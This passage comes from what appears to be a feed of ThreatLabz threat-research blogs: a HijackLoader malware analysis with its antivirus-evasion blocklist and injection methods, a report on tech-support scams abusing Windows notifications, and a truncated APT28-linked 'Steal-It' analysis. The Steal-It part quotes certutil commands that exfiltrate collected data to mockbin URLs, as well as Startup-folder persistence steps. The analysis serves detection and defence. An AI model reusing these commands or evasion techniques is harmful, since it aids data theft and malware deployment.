seed value, which is used for deriving a string based on the compromised host’s username. A DWORD value, which is used for validating the payload, when loaded from disk, by searching it in the payload’s data. A DWORD value, which is used for detecting all blobs of the encrypted payload. An offset for the payload URL (if any) along with an XOR key to decrypt it. A blocklist of process name hashes (described later in Table 1). The above configuration block is detected by using hardcoded offsets and then decrypted either with a bitwise XOR or ADD operation. The offsets for the configuration block detection (including the offset of the encryption key) might differ from sample to sample. Anti-Analysis The first stage includes a limited set of evasion techniques: Dynamic loading of Windows API functions by leveraging a custom API hashing technique. Performing an HTTP connectivity test to a legitimate website (e.g. mozilla.org). If a connection cannot be made, then HijackLoader does not proceed with the execution and enters an infinite loop until a connection is made. Delaying of code execution at different stages. The first stager checks for the presence of a set of running processes. Depending on which ones are present, it executes different functionality. In Table 1, we summarize the corresponding functionality for each process. Table 1 - HijackLoader blocklist of processes PROCESS NAME PRODUCT NAME DESCRIPTION avastsvc Avast Antivirus Delay execution for 40 seconds. avgsvc AVG Internet Security Delay execution for 40 seconds. a2service Emsisoft Anti-Malware Skip the connectivity test. wrsa Webroot SecureAnywhere Skip the connectivity test. msmpeng Microsoft Windows Defender No behavioral code change. Second Stage Loading HijackLoader locates the payload of the second stage (i.e., the ti module) by following the steps below: Parses the decrypted configuration block, which was obtained from the initialization phase. Then, HijackLoader locates the encrypted payload URL and decrypts it using a bitwise XOR operation. Downloads the payload and validates it by checking for the presence of the signature (included in the configuration block) in its data. If the validation passes, it writes it to disk. Searches for encrypted blobs using the second marker. Each marker represents the start of an encrypted blob along with the size of the blob (which is stored before each occurrence). Moreover, the XOR key is located after the offset of the first encrypted blob. Once all encrypted blobs have been extracted, they are concatenated together and decrypted with the XOR key. Finally, the decrypted payload is decompressed using the LZNT1 algorithm. Pseudocode for this process is shown in Figure 1. Figure 1: HijackLoader second stage code to download and execute payloads The same procedure is followed when the payload is loaded from disk. The only difference is that HijackLoader uses an additional pattern (from the configuration block) for finding the start offset of the embedded payload (Figure 2). Figure 2: HijackLoader second stage payload execution from a local file The decrypted payload includes two components: A modules table - This includes the HijackLoader modules along with their settings and the final payload (e.g. SystemBC). Main shellcode and settings, or a list of optional files to use for DLL hijacking. Next, the first stager needs to load and execute the next stage. This is accomplished by obtaining the file path of the DLL to patch (e.g. mshtml.dll) and a table for the modules of HijackLoader that is included in the decrypted payload. Then, HijackLoader loads the specified DLL and locates the next stager (ti module) after searching for its hash (included in the configuration block) in the modules table. Lastly, it copies the module’s data into the code section of the legitimate DLL and executes it. NOTE: The file paths and names of files that are written to disk by HijackLoader are generated based on the username of the compromised host. Modules HijackLoader’s modules assist with the code injection and execution process of the final payload. The table below shows the modules identified by ThreatLabz, along with the corresponding CRC32 values and functionality. Table 2 - HijackLoader modules observed by ThreatLabz CRC32 MODULE NAME DESCRIPTION 0x78b783ca AVDATA Blocklist of security products’ process names. The blocklist includes the CRC32 value of each process name. 0x757c9405 ESAL Clears out the shellcode data and executes the final payload. 0x6364a15b ESAL64 64-bit version of the ESAL module. 0xe7794e15 ESLDR Assists with code injection of the main instrumentation shellcode. 0x4fa01ac5 ESLDR64 64-bit version of ESLDR module. 0x93eb1cb1 ESWR Clears out the shellcode data and executes the rshell module. 0x699d0c82 FIXED Legitimate executable file (e.g., QQPCMgr), which is used for injecting code into its process. 0xfea2e0eb LauncherLdr Decrypts the stored modules table file from disk. We have only seen the 64-bit version of this module being included. 0xf4f141c2 LauncherLdr64 64-bit version of LauncherLdr module. 0x74984889 rshell Relocates, parses and executes the final payload. 0x7b37e907 rshell64 64-bit version of rshell module. 0x3ee477f1 ti Executed after the first stage. Performs code injection for other stages and modules. 0x2ab77db8 ti64 64-bit version of ti module. 0x4eace798 tinystub Empty executable file, which is used for patching during the final payload execution process. 0xa1d724fc tinyutilitymodule.dll Overwrites the PE headers of a specified file with null bytes. 0x263596ba tinyutilitymodule64.dll 64-bit version of tinyutilitymodule.dll module. 0x1ae7700a Unknown Unknown module. Not included in any of the observed binaries. Based on the analyzed code, we assess that it includes a file path along with an optional parameter. The current running file is copied into this new location and executed along with the specified parameter. N/A Main instrumentation shellcode Shellcode injected into the specified target process from the ti module. This module is responsible for executing the final payload. Moreover, each module has a structure that holds information such as: Module name Module offset in the table Module size Due to the quality of the code and because the rest of the structure fields are not being used, ThreatLabz was not able to identify the purpose for the rest of the structure members. However, ThreatLabz assesses that the following information might be included as well: Module timestamp Internal names (e.g., rLdr64 for the rshell module) From the modules mentioned above, our analysis focused on the ti and the main instrumentation shellcode modules since these two implement the majority of the core functionality for HijackLoader. TI module Anti-Analysis The anti-analysis techniques are the same as presented in the previous section, but there are two notable differences: The developers have included the Heaven's gate technique. The process blocklist remains the same but the code behavior is different as can be seen in Table 3. Table 3 - Process blocklist in the HijackLoader ti module PROCESS NAME DESCRIPTION avastsvc Adds persistence by creating a shortcut (LNK) file and saving the current executable under a random filename in the Windows folder %AppData%. NOTE: A flag, which is set in the decrypted payload at offset 4 is required too. Generates a random environment variable name with seed 0xE1ABD1C2 and a new random filename. This is used at a later stage for storing the modules table. Writes to disk a legitimate executable file (the FIXED module) and uses it for code injection at a later stage. avgsvc Same as avastsvc a2service No behavioral code change. wrsa No behavioral code change. msmpeng No behavioral code change. Execution Phase The primary role of the ti module is to inject the main instrumentation module, which is responsible for loading the final stage. The ti module executes the next stage by using one of the following methods: Re-executes the initial file from a new location and parameter (if the module with the CRC32 value 0x1ae7700a exists). Creates a new process (specified in the configuration), maps the hijacked file into it (e.g. mshtml), and injects the main instrumentation shellcode. In addition (depending on the configuration flags), it executes the FIXED module, which might be used later for code injection. HijackLoader might include an additional set of files, which can be used for DLL hijacking. In this case, it writes them to disk along with the encrypted payload (from stage 1) and executes the hijacked executable. Executes the ESLDR module, which injects the main instrumentation shellcode. Main Instrumentation Module The main instrumentation module contains the core functionality for loading and executing the final stage of the infection chain. Anti-Analysis The anti-analysis techniques remain the same with the previous aforementioned stages. However, one key difference is the deployment of the AVDATA module. The AVDATA module contains a set of process names and if any of them are detected then the code behavior might change. The process names observed by ThreatLabz and their CRC32 values are presented in the table below. Table 4 - Process name blocklist in the HijackLoader AVDATA module CRC32 PRODUCT NAME PROCESS NAME 0xb02ef94 Avast Antivirus avastsvc.exe 0xc0bfbba0 ESET Smart Security ekrn.exe 0x40cb21d3 Kaspersky AntiVirus avp.exe 0xc0fe273f Symantec Event Manager ccsvchst.exe 0x9e0539f6 Norton 360 n360.exe 0xe6ef3ab Avira avguard.exe 0x8e9e8add AVG Internet Security avgsvc.exe 0x923d5594 AVG Internet Security avgui.exe 0xce1599c2 BitDefender AntiVirus vsserv.exe 0x83ed98a3 BitDefender AntiVirus epsecurityservice.exe 0xd50dea99 TrendMicro AntiVirus coreserviceshell.exe 0x2fba3706 McAfee Antivirus mcshield.exe 0x1235ed11 McAfee Antivirus mctray.exe 0x3a39ba4 Norton Internet Security nis.exe 0xe981e279 Norton Internet Security ns.exe 0x19e8fad2 BitDefender Antivirus bdagent.exe 0x5f1c2fc2 Trend Micro Security uiseagnt.exe 0xc68b2fd8 ByteFence Anti-Malware bytefence.exe 0xefba2118 McAfee Security Scan Plus mcuicnt.exe 0xfeb42b97 Internet Security Essentials vkise.exe 0x6274fa64 Comodo Internet Security cis.exe 0x4420ef23 Malwarebytes Anti-Malware mbam.exe 0x31c100e7 360 Safe Guard zhudongfangyu.exe 0x219b199a 360 Total Security 360tray.exe 0x64760001 N/A Unknown 0x27873423 N/A Unknown 0x8bdc7f5b N/A Unknown Each process block in the AVDATA module has the following structure: struct avdata_process_block { unsigned int CRC32; // CRC32 value of process. unsigned char Execution_Type; // Code execution method for the final payload. unsigned char LNK_Persistence_Flag; // Adds persistence with an LNK shortcut file. unsigned char unknown; // Not used. unsigned char unknown_2; // Not used. int BITS_Persistence_Flag; // Adds persistence by creating a BITS job. int unknown_3; // Not used. int unknown_4; // Not used. int Injection_Type; // Defines what code injection method to use. int overwrite_pe_headers_with_junk_Flag; // Used during module deployment. }; Persistence As described in the structure above, persistence on the compromised host is established via the following methods: Creation of a BITS job, which points to the executable file. Creation of a shortcut file (LNK) in the Windows Startup folder. The shortcut’s path is added in a new BITS job and points to the executable file. Final payload decryption and execution The embedded payload is decrypted using a bitwise XOR operation with the key being derived from the first 200 bytes. This can be easily represented in Python as follows: enc_data = data[200:] key = data[:200] dec = bytearray() for idx in range(0, len(enc_data), 4): dec_int = struct.unpack("<L", enc_data[idx:idx+4])[0] ^ struct.unpack("<L", key[idx%200:idx%200 + 4])[0] dec.extend(dec_int.to_bytes((dec_int .bit_length() + 7) // 8, byteorder='little')) HijackLoader’s shellcode then proceeds with the injection or direct execution of the decrypted payload. The technique the shellcode uses depends on a number of different factors such as the payload’s file type and a flag, which is stored in the settings and indicates the injection method to use. In the table below, we describe each case along with a description of the action taken. Table 5 - HijackLoader Code Injection Methods INJECTION TYPE DESCRIPTION DLL file type. In the case of a DLL file type, the shellcode parses the PE file and leverages the ESLR module, which erases the shellcode data and executes directly the entry point of the DLL. Code injection when the injection flag is set to 3 and PE relocation is required (Method 1). Creates a process of the FIXED module and writes to disk a file, which includes various information such as: Pointer to the address of the rshell module data. Process and thread handles of the created process. Pointer to the address of the final payload. Then it executes the ESWR module, which injects the rshell module into the created process. As a result, the rshell module reads the written file and therefore the data of the final payload. After relocating and parsing the file, HijackLoader executes the final payload. Code injection when the injection flag is set to 3 and PE relocation is required (Method 2). Creates a process of the FIXED module, loads the tinystub module, and adds a new PE section to it. The patched stub module is written to the disk. It is important to note that HijackLoader writes the data without including the “MZ” string. Instead, it delays the execution for a few seconds and then writes to the file the MZ signature byte-by-byte. Finally, it proceeds with the execution of the final payload as described in the previous method. Code injection when the injection flag is set to 3 and no PE relocation is required (Method 1). The implementation is similar to the previous two cases. However, there are a few notable differences: HijackLoader adds a new section in the final payload file. This new section has the rshell module. In the case of a .NET file, HijackLoader creates an msbuild process instead of using the FIXED module. The code searches for certain values in the rshell module and replaces them with the same values that are used in the file, which is written to disk (i.e., egg-hunting). In order to evade detection by security products, it writes random data to the injected process. Code injection when the injection flag is set to 3 and no PE relocation is required (Method 2). Same code injection technique as with the previous case, but the data injection takes place with timing delays. Code injection when the injection flag is set to 3 with a .NET PE file. Creates an msbuild process, and injects the rshell module and the payload. Searches for certain values in the rshell module and replaces them to point to the address of the decrypted payload along with the injection type and the payload size. NOTE: No file is written on disk. Writes random data in the injected process. Code injection when the injection flag is set to 4. Creates an msbuild process and injects the rshell module and the payload. Searches for certain values in the rshell module and replaces them to point to the address of the decrypted payload along with the injection type and the payload size. NOTE: No file is written on disk. Writes random data in the injected process. Conclusion In summary, HijackLoader is a modular loader with evasion techniques, which provides a variety of loading options for malicious payloads. Moreover, it does not have any advanced features and the quality of the code is poor. However, considering the increasing popularity of HijackLoader, we expect code improvements and further usage from more threat actors, especially to fill the void left by Emotet and Qakbot. In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Cloud Sandbox Zscaler’s multilayered cloud security platform detects indicators related to HijackLoader at various levels. Indicators of Compromise (IOCs) Host Indicators SHA256 Hash DESCRIPTION 7bd39678ac3452bf55359b44c5192b79412ce61a82cd72eef88f91aba5792ee6 HijackLoader 6b1621bded06b082f83c731319c9deb2fdf751a4cec1d1b2b00ab9e75f4c29ca HijackLoader e67790b394f5238908fcc326a9db940b200d9b50cbb45f0bfa94038db50beeae HijackLoader 693cace37b4b6fed2ca67906c7a4b1c11273110561a207a222aa4e62fb4a184a HijackLoader 04c0a4f3b5f787a0c9fa8f6d8ef19e01097185dd1f2ba40ae4bbbeca9c3a1c72 HijackLoader Network Indicators IOC DESCRIPTION hxxps://www.4sync[.]com/web/directDownload/KFtZys VO/4jBKM7R0.baa89a7b43a7b73227f22ae561718f7f Payload URL, which HijackLoader uses to load Danabot. hxxps://geupdate-service[.]bond/img/3344379399.png Payload URL, which HijackLoader uses to load RedLine stealer. References "Fake Update Utilizes New IDAT Loader To Execute StealC and Lumma Infostealers" by Natalie Zargarov Fri, 08 Sep 2023 08:59:08 -0700 Nikolaos Pantazopoulos https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader Rise in Tech-Support Scams Abusing Windows Action Center Notifications https://www.zscaler.com/blogs/security-research/rise-tech-support-scams-abusing-windows-action-center-notifications Introduction The Zscaler ThreatLabz team recently observed a surge in tech-support scams, with a noteworthy focus on the utilization of Windows Action Center notifications to display misleading warning messages to users. While the majority of tech-support scams previously centered around counterfeit notifications related to Windows Defender, scammers have since expanded their tactics to include bogus web pages impersonating other security providers like McAfee and Avast. Now, threat actors use pirated movie streaming websites and X (formerly Twitter) as conduits for directing users to fraudulent tech-support pages by using the Windows Action Center notifications to display fictitious warnings and alerts. In this blog, we examine two tech-support campaigns and the tactics they employ to trick users into willingly accepting fraudulent notifications that go on to display multiple fake infection-related warnings. Key Takeaways Delayed Gratification Over Instant Joy: We observed tech-support scammers focusing on using the Windows Action Center notifications to push notifications, instead of the traditional immediate appearance of pop-ups. Explicit Images as a Lure: Many tech-support scams post explicit images on social media platforms to solicit attention from potential victims. Pirated Streaming Websites as Initial Vector This campaign targets users visiting pirated movie streaming websites. When the user clicks Play to watch a video, they receive a pop-up asking them to allow or cancel notifications from the website in order to watch the video. If a user chooses to allow notifications, the website’s domain is added to the “allowed” notifications in the web browser. This grants the website permission to push notifications to the user’s systems even when they are not active on the website. In the screenshot below, we see websites that were added to the allowed list. On the right side of the screen, the Windows notifications slider displays the scam notifications pushed by the websites. Figure 1: Ad redirector/scam serving websites added to the notification allowed list of the browser. After a brief period of time, the user is bombarded with notifications with ad content, beginning with explicit advertisements followed by notifications saying their system is infected. When the user clicks on a notification, a new screen appears playing alarming MP3 audio convincing them that the system is infected. The same screen asks users to call the Windows Support phone number so a technician can help them resolve the problem. Of course, these messages are fraudulent and will direct users to a scam center. Figure 2: Tech-support scam page, which makes the page full-screen and disables keystrokes, effectively locking out users because they can’t minimize or close the page. The user can’t close the page, minimize it, or right-click on the page because the tech-support scam page runs a JavaScript code which disables these features. This is depicted in the screenshot below. Figure 3: Screenshot of JavaScript code disabling features. This campaign is unique because fraudulent messages do not immediately appear on the infected system when the user hits Play - which has been observed in traditional tech support scam chains. For this campaign, the threat actors want users to subscribe to the notification. After some time, the malicious redirects show up as a notification in the Windows Action Center. Most of the campaigns we analyzed were hosted on Amazon CloudFront or DigitalOcean. Many of the URL variants hosted on DigitalOcean begin with a marine animal name. Figure 4: URL patterns observed in this campaign. This tech-support scam campaign primarily targeted users from Australia, Canada, Japan, and the United States. Figure 5: Geographical targets of tech-support campaign. Signature Hits According to our monitoring, these signature hits indicate the number of daily users accessing tech-support scam websites. Figure 6: Hits for tech-support Campaign July-Aug 2023. X (formerly Twitter) as Initial Vector We also observed social media platforms like X (formerly Twitter) being used to redirect users to tech-support scam pages. This is mainly accomplished by using fake profiles to post alluring or sensational content to attract users' attention. In the screenshot below, you can see provocative images being posted from fake accounts. Figure 7: Fake profiles posting sensationalized images on X (formerly Twitter) Once a user clicks on the X (formerly Twitter) posts, they are redirected to a page where users are prompted to complete a fake “robot verification” process, which usually involves solving a captcha or interacting with checkboxes. This step is meant to create an illusion of authenticity. Figure 8: A page asking a user to allow notifications and prove they are not a robot Once the user solves the captcha and clicks to allow access, the website uses the permission to display unwanted notifications and bombard the user with frequent pop-ups using the Windows Action Center. These pop-ups claim that the user's device is compromised and requires a renewal of their antivirus subscription. This is depicted in the images below. Figure 9: Unwanted pop-up windows The objective of this campaign is usually to plant harmful or potentially malicious software. It is obvious that these pages are fake because they are not affiliated with any legitimate antivirus vendors. Figure 10: A fraudulent tech support webpage that generates false alerts of computer infections. Here are a few more examples where websites “detect” vulnerabilities in a user's system and warn them about potential virus infections if renewal is neglected. This is all a strategy to make the user panic and contact tech-support. Figure 11: A deceptive Avast-themed webpage falsely indicating that the user's system is vulnerable to virus infections. These sites may also offer discounts on renewal, which increases the likelihood of users making a purchase. This is shown in the screenshot below. Figure 12: A deceptive McAfee-themed webpage falsely indicating that the user's system is vulnerable to virus infections and offering a discount. Conclusion Tech-support scams are updating their tactics as cybercriminals exploit Windows Action Center notifications to deceive users. Our research sheds light this shift in tactics, emphasizing the importance of staying informed and cautious. In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler ThreatLabz Detection HTML.Phish.TechSupport Indicators of Compromise (IOCs) dzz27sptilkop[.]cloudfront[.]net/werrx01/?phone=+XXXXXXXXX& d2amlsdxhfbfr1[.]cloudfront[.]net/?number=+1-XXXXXXXXX sea-turtle-app-yb2h9[.]ondigitalocean[.]app/?number=XXXXXXXXX lobster-app-3vokw[.]ondigitalocean[.]app/?number=XXXXXXXXX orca-app-txfhl[.]ondigitalocean[.]app/?number=XXXXXXXXX squid-app-dcxll[.]ondigitalocean[.]app/?number=XXXXXXXXX starfish-app-klskk[.]ondigitalocean[.]app/?number=XXXXXXXXX oyster-app-2wnqh[.]ondigitalocean[.]app/?number=XXXXXXXXX Domains Present in X (formerly Twitter) Posts keewoach[.]net whulsaux[.]com naipsouz[.]net potsaglu[.]net vasteeds[.]net dolatiaschan[.]com oulsools[.]com soocaips[.]com zatloudredr[.]com almstda[.]tv zeekaihu[.]net nebsefte[.]net whoursie[.]com thaudray[.]com greewepi[.]net Newly Registered Streaming Sites worldsports1[.]live powerakkus[.]com trophional[.]com acc-network[.]us enake[.]site soccerloverss[.]online foreverstream[.]xyz zodic[.]xyz np-downloader[.]com squathweenic[.]com gemstreams[.]com Sites Asking User to Grant Permission sembilme[.]com bonalluterser[.]com exusnefte[.]com scotennepruse[.]com squathweenic[.]com birmentuorpose[.]co[.]in re-captha-version-3-23[.]top ologeysurincon[.]com chaeffulace.com Redirected Fake Security Product Pages yourtopdefencebulwark[.]site myalltimebestdefender[.]site sunfont[.]site keepsafetycenter[.]com worldwidedefence[.]online improvedwebsecurity[.]com webprotectionrequired[.]com highpotencyguard[.]com ultradesktopanalytic[.]com analysesecuritystatus[.]com datasecuritypc[.]com totaldeviceanalyticsoft[.]club X (formerly Twitter) Accounts Gracie Walker @GinaSloan30632 Amy Day @DayAmy95254 Haven Joyce@DejaSchmid1862 Audrey Mayer @MelissaGal14721 Thu, 07 Sep 2023 09:29:44 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/rise-tech-support-scams-abusing-windows-action-center-notifications Steal-It Campaign https://www.zscaler.com/blogs/security-research/steal-it-campaign Introduction Zscaler ThreatLabz recently discovered a new stealing campaign dubbed as the "Steal-It" campaign. In this campaign, the threat actors steal and exfiltrate NTLMv2 hashes using customized versions of Nishang's Start-CaptureServer PowerShell script, executing various system commands, and exfiltrating the retrieved data via Mockbin APIs. Through an in-depth analysis of the malicious payloads, our team observed a geofencing strategy employed by the campaign, with specific focus on targeting regions including Australia, Poland, and Belgium. These operations use customized PowerShell scripts, designed to pilfer crucial NTLM hashes before transmitting it to the Mockbin platform. The initial phase of the campaign involves the deployment of LNK files concealed in zip archives, while ensuring persistence within the system through strategic utilization of the StartUp folder. Additionally, the gathered system information and NTMLv2 hashes are exfiltrated using Mockbin APIs. We believe the Steal-It campaign may be attributed to APT28 (aka Fancy Bear) based on its similarities with the APT28 cyber attack reported by CERT-UA in the Threat Actor Attribution section. In this blog, we cover: Key Takeaways Campaign Analysis NTLMv2 Hash Stealing Infection Chain SystemInfo Stealing Infection Chain Fansly Whoami Exfil Infection Chain Windows Update Exfil Infection Chain Threat Actor Attribution Conclusion Zscaler Sandbox Coverage MITRE ATT&CK TTP Mapping Indicators of Compromise (IoCs) Key Takeaways Exfiltration Tactics: We discovered that the threat actor steals and exfiltrates NTLM hashes using customized scripts from the Nishang framework and system information by executing system commands. Once captured, the data is exfiltrated via mock APIs. Explicit Images as Lures: The Fansly Whoami Exfil and Exfil Sysinfo OnlyFans infection chain variations use explicit images of models to entice victims to execute the initial payload. Geofencing and Targeted Regions: Threat actors use a geofencing strategy with specific focus on targeting regions including Australia, Poland, and Belgium. Mockbin as a Service: We observed the use of Mockbin, an API endpoint generating tool, and mock APIs to transfer stolen data such as NTLM hashes and command output. Campaign Analysis After analyzing multiple samples for the Steal-It campaign, we categorized the infection chains based on the variations observed in the TTPs. The sections below depict these infection chains. NTLMv2 Hash Stealing Infection Chain How it works Figure 1: NTLMv2 hash stealing infection chain flow Overview The NTLMv2 hash stealing infection chain steals NTLMv2 hashes by utilizing a customized version of Nishang’s Start-CaptureServer PowerShell script and transmitting the stolen hashes via mocky API’s to Mockbin. Technical Analysis The infection chain begins with a ZIP archive bundled with a malicious LNK (shortcut) file, the LNK file is commissioned to download and execute another PowerShell script from mockbin[.]org and webhook[.]site as seen in the screenshot below. Figure 2: Initial LNK File downloading & executing a customized Nishang’s Start-CaptureServer PowerShell script The PowerShell Script executed by the malicious LNK file is a customized version of Nishang’s Start-CaptureServer.ps1 script that is especially developed to capture NTLMv2 hashes. The threat actors modified Start-CaptureServer.ps1 by removing: comments detectable strings ito evade static detections basic authentication method for capturing credentials The most significant modification our team observed was that the captured base64-encoded NTLMv2 hashes are exfiltrated by calling the Net.WebClient.DownloadString() function with the URL: https[:]//mockbin.org/bin/<id>”as an argument. This is depicted in the screenshot below. Figure 3: A customized version of Nishang’s Start-CaptureServer PowerShell script Once the DownloadString() function is executed, it performs a GET request to the specified mockbin.org URL. Mockbin enables you to create custom endpoints for testing, mocking, and monitoring HTTP requests and responses across different libraries, sockets, and APIs. When the GET request is made to the Mockbin URL with a captured base64-encoded NTMLv2 hash, the request is logged on the server side and can be tracked by threat actors. SystemInfo Stealing Infection Chain How it works Figure 4: Systeminfo stealing infection chain flow Overview The Systeminfo stealing infection chain uses the OnlyFans brand to entice users into downloading the later stages of the chain, which exfiltrate command outputs to Mockbin. Technical Analysis This infection chain starts with a ZIP archive named “best_tits.zip” bundled with a malicious LNK (shortcut) file called onlyfans.com-1.lnk. Upon execution, the malicious LNK file runs a command that opens the Microsoft Edge browser with a base64 encoded argument. This argument is a JavaScript one liner redirecting to the http://run[.]mocky[.]io/v3/<id> URL using location.href. This is depicted in the screenshot below. Figure 5: Initial LNK file - OnlyFans To conceal the malicious redirection, the command also opens the legitimate OnlyFans website in another tab and pauses execution for 9 seconds. Now the opened run[.]mocky[.]io URL is a HTML page with malicious JavaScript code that performs the following actions: Verifies if the userAgent header includes the keyword "win" to determine if the operating system being used is Windows. Utilizes the IPAPI Geolocation API to check if the country code is "AU" (Australia). Specifically looking for the “AU” country code indicates the infection chain is geofenced and targeting users from Australia. If the user’s operating system is Windows and they are located in Australia, the code proceeds to download another malicious LNK file named m8. This file is created by decoding a base64-encoded blob of data, as illustrated in the screenshot below. Figure 6: Run[.]Mocky[.]io HTML page geofenced to target users from Australia Furthermore, the downloaded LNK file is copied to the Startup folder as specified in the argument of the previous LNK file: move /y %userprofile%\Downloads\m8 m8.lnk. Since the working directory of the previous LNK file is set to the Startup folder path, the LNK file is copied into the Startup folder. Because of this, the m8.lnk file will be executed every time the system is restarted, allowing persistence on the system. When executed, the downloaded LNK file m8.lnk downloads a CMD file from run[.]mocky[.]io and copies it to the Startup folder as m8.cmd, following the same method as the previous LNK file. These actions are depicted in the screenshot below. Figure 7: LNK file downloading the final script The CMD file m8.cmd is executed on a system reboot, and is the final script commissioned to gather and exfiltrate the system information. Once executed, it first runs the following three system commands and stores the output in the ProgramData directory. ipconfig systeminfo tasklist From here, the script base64 encodes the command output files using CertUtil and sets environment variables for the base64-encoded command outputs using set /p ipc=<%programdata%\<b64enc_cmdoutput>. The newly set environment variables are exfiltrated by performing a GET request to the mockbin[.]org using certutil -urlcache -f <http[:]//mockbin[.]org/bin/<id>/%env_var%. The environment variables are passed on in the request as shown in the screenshot. Figure 8: Final script - Execute system commands and exfiltrate output to Mockbin.org Towards the end of the script, clean up takes place where the command output files are deleted and the command outputs of executed commands: ipconfig, systeminfo, tasklist are exfiltrated to Mockbin URL. Fansly Whoami Exfil Infection Chain How it works Figure 9: Fansly whoami exfil infection chain flow Overview The Fansly whoami exfil infection chain uses the Fansly brand to entice users into downloading the later stages of the chain, which exfiltrate command outputs to Mockbin. Technical Analysis This infection chain begins with a ZIP archive bundled with a malicious LNK (shortcut) file. The LNK file opens the http://run[.]mocky[.]io/v3/<id> URL in a browser, which consists of an HTML page with malicious Javascript. This HTML page is different from the page described in the "Systeminfo stealing infection chain" section. In this case, the JavaScript performs the following actions: Verifies if the userAgent header includes the keyword "win" to determine if the operating system being used is Windows. Utilizes the IPAPI Geolocation API to check if the country code is "PL" (Poland). Verifies whether the IP address version is "ipv4" Specifically looking for the “PL” country code indicates the infection chain is geofenced and targeting users from Poland. If all of the conditions above are satisfied, the JavaScript downloads a ZIP file named fansly.zip by decoding a large base64 blob. The ZIP file includes three explicit JPEG images of Ukrainian and Russian Fansly models to lure users into downloading a malicious batch file, called fansly.com_online.bat, bundled inside the same ZIP archive. Figure 10: Explicit images of Ukrainian & Russian Fansly models used to entice users into downloading a hidden file Once executed, the fansly.com_online.cmd batch script performs the following actions: Writes a VBScript & a batch script in the ProgramData directory and executes the VBscript. The VBScript opens real Fansly model profiles to conceal the malicious actions and then executes the batch script written in the ProgramData directory. Once executed, the batch script: kills any running msedge.exe process deletes any .css files in the downloads folder opens a mockbin[.]org URL which downloads a eucv8o.css file into the Downloads folder moves eucv8o.css into the ProgramData directory as eucv8o.cmd and then executes When the mockbin[.]org URL is opened by the batch script in an Microsoft Edge browser, the JavaScript performs the following actions: Verifies if the userAgent header includes the keyword "win" to determine if the operating system being used is Windows. Ensures that userAgent does not contain the string “wow” which indicates that the 32-bit process is running in a 64-bit Windows machine. Checks if the browser version (Chrome/Firefox”UserAgent - Microsoft Edge also uses Chrome) is greater than "100". If all conditions above are satisfied, the JavaScript redirects to another mockbin[.]org URL which executes another JavaScript code that performs the following actions: Verifies if the userAgent header includes the string “edg” to determine if the Microsoft Edge browser is being used. Leverages the IPAPI Geolocation API to check if the country code is "PL" (Poland) If all the conditions above are met, a eucv8o.css file is downloaded by decoding a base64 blob in the Downloads folder. As mentioned above, eucv8o.css is moved into the ProgramData directory as eucv8o.cmd and then executed: kills the msedge.exe process executes “whoami” command and stores the output in the ProgramData directory sets the environment variable dobpyk to the output of the whoami command exfiltrates the output of the WHOAMI command to the mockbin[.]org URL by sending a GET request with the appended command output, like this: mockbin[.]org/bin/<id>/<cmd_output> deletes the command output file and the downloaded .css file The execution flow is depicted in the screenshot below: Figure 11: Execute whoami and exfiltrate the output to Mockbin.org Windows Update Exfil Infection Chain How it works Figure 12: Windows update exfil infection chain flow Overview In our analysis of this infection chain, we observed a ZIP archive bundled with a LNK file that uses geofencing techniques to target users in Belgium and unknowingly downloading multiple stages of a PowerShell script that executes system commands to collect basic information for nefarious purposes. Interestingly, we saw a similar infection reported by CERT-UA which was attributed to APT28. Technical Analysis For this infection chain, the initial vector is a malicious LNK file bundled inside a ZIP archive (e.g. command_powershell.zip). The malicious LNK file opens the run[.]mocky[.]io URL using Microsoft Edge. This downloads a c1 file into the Downloads folder, which is then moved into the Startup folder as c1.bat, maintaining persistence on the machine. Whenever the system is restarted, c1.bat is executed. Figure 13: Initial LNK file Once opened, the run[.]mocky[.]io URL executes a JavaScript code which downloads a batch script from a base64-encoded blob. The batch script is downloaded to the Downloads folder, where it is then renamed to c1.bat and moved into the Startup folder. c1.bat includes the “Window Update” title (identical to the phishing email subject) and is primed to download another script from run[.]mocky[.]io into the ProgramData directory using CertUtil. To conceal the malicious activity, the batch script shows an seemingly innocuous message on the console with a progress bar. The message reads: “Dynamic Update for Windows Systems (KB5021043)” This is depicted in the image below. Figure 14: Fake Windows update BAT script execution to download the additional stages The LNK file opens a run[.]mocky[.]io URL using Microsoft Edge, which then performs following actions: Verifies if the userAgent header includes the keyword "edg" to determine if the browser used is “Microsoft Edge” Utilizes the IPAPI Geolocation API to check if the country code is "BE" (Belgium) Specifically looking for the “BE” country code indicates the infection chain is geofenced and targeting users from Belgium. Figure 15: Geofenced HTML that target users from Belgium If both the conditions above are satisfied, a b4.css script is downloaded into the Downloads folder by decoding a base64 blob. The script is then moved into the Startup folder and renamed to b4.cmd. This helps threat actors maintain persistence like in the other infection chains. Upon execution, b4.cmd opens another run[.]mocky[.]io URL using Microsoft Edge, which is similar to the JavaScript code seen in Figure 15. The JavaScript code executes the batch script with the title “Window Update” and displays a an innocent message on the console with a progress bar stating: “Dynamic Update for Windows Systems (KB5021043)” From here, another script is downloaded from run[.]mocky[.]io in the ProgramData directory using CertUtil to execute it. During the analysis, the Mocky URL was inaccessible, therefore while searching for similar scripts with the “Window Update” messages as shown in Figure 14, we discovered a PowerShell script which executes a final set of PowerShell commands downloaded from run[.]mocky[.]io. This script also uses the window title as “Updating Windows” and the message “Dynamic Cumulative Update for Windows (KB5023696)” to conceal malicious intentions as depicted in the screenshot below and was also reported previously. Figure 16: Fake Windows update PowerShell script executes system commands and exfiltrates output The final set of PowerShell commands in this script are commissioned to execute the commands tasklist and systeminfo on the system, and then use WebClient.UploadString() to exfiltrate the command output to the mockbin[.]org URL using a POST request as shown below. In addition to system information, we also observed cases where the full file paths were exfiltrated to mockbin[.]org by executing the “Get-ChildItem -Path <path> -Recurse -File | select FullName” command and then exfiltrate the command output using WebClient.UploadString(). Threat Actor Attribution Our team believes that the Steal-It campaign could be attributed to APT28, Russian cyber espionage group with medium confidence level. The similarities between our observations of these four infection chains discussed in the Steal-It Campaign and the APT28 cyber attack reported by CERT-UA (Computer Emergency Response Team of Ukraine) are striking. The Steal-It Campaign and the CERT-UA’s report shared the following: Similar PowerShell scripts for exfiltrating system information and the downloading of further stages with varied infection chain. Similar Mockbin URLs in payloads and abusing Mockbin API’s for hosting scripts and exfiltration of information. Similar TTPs such as gathering system information by executing commands and exfiltration of data using 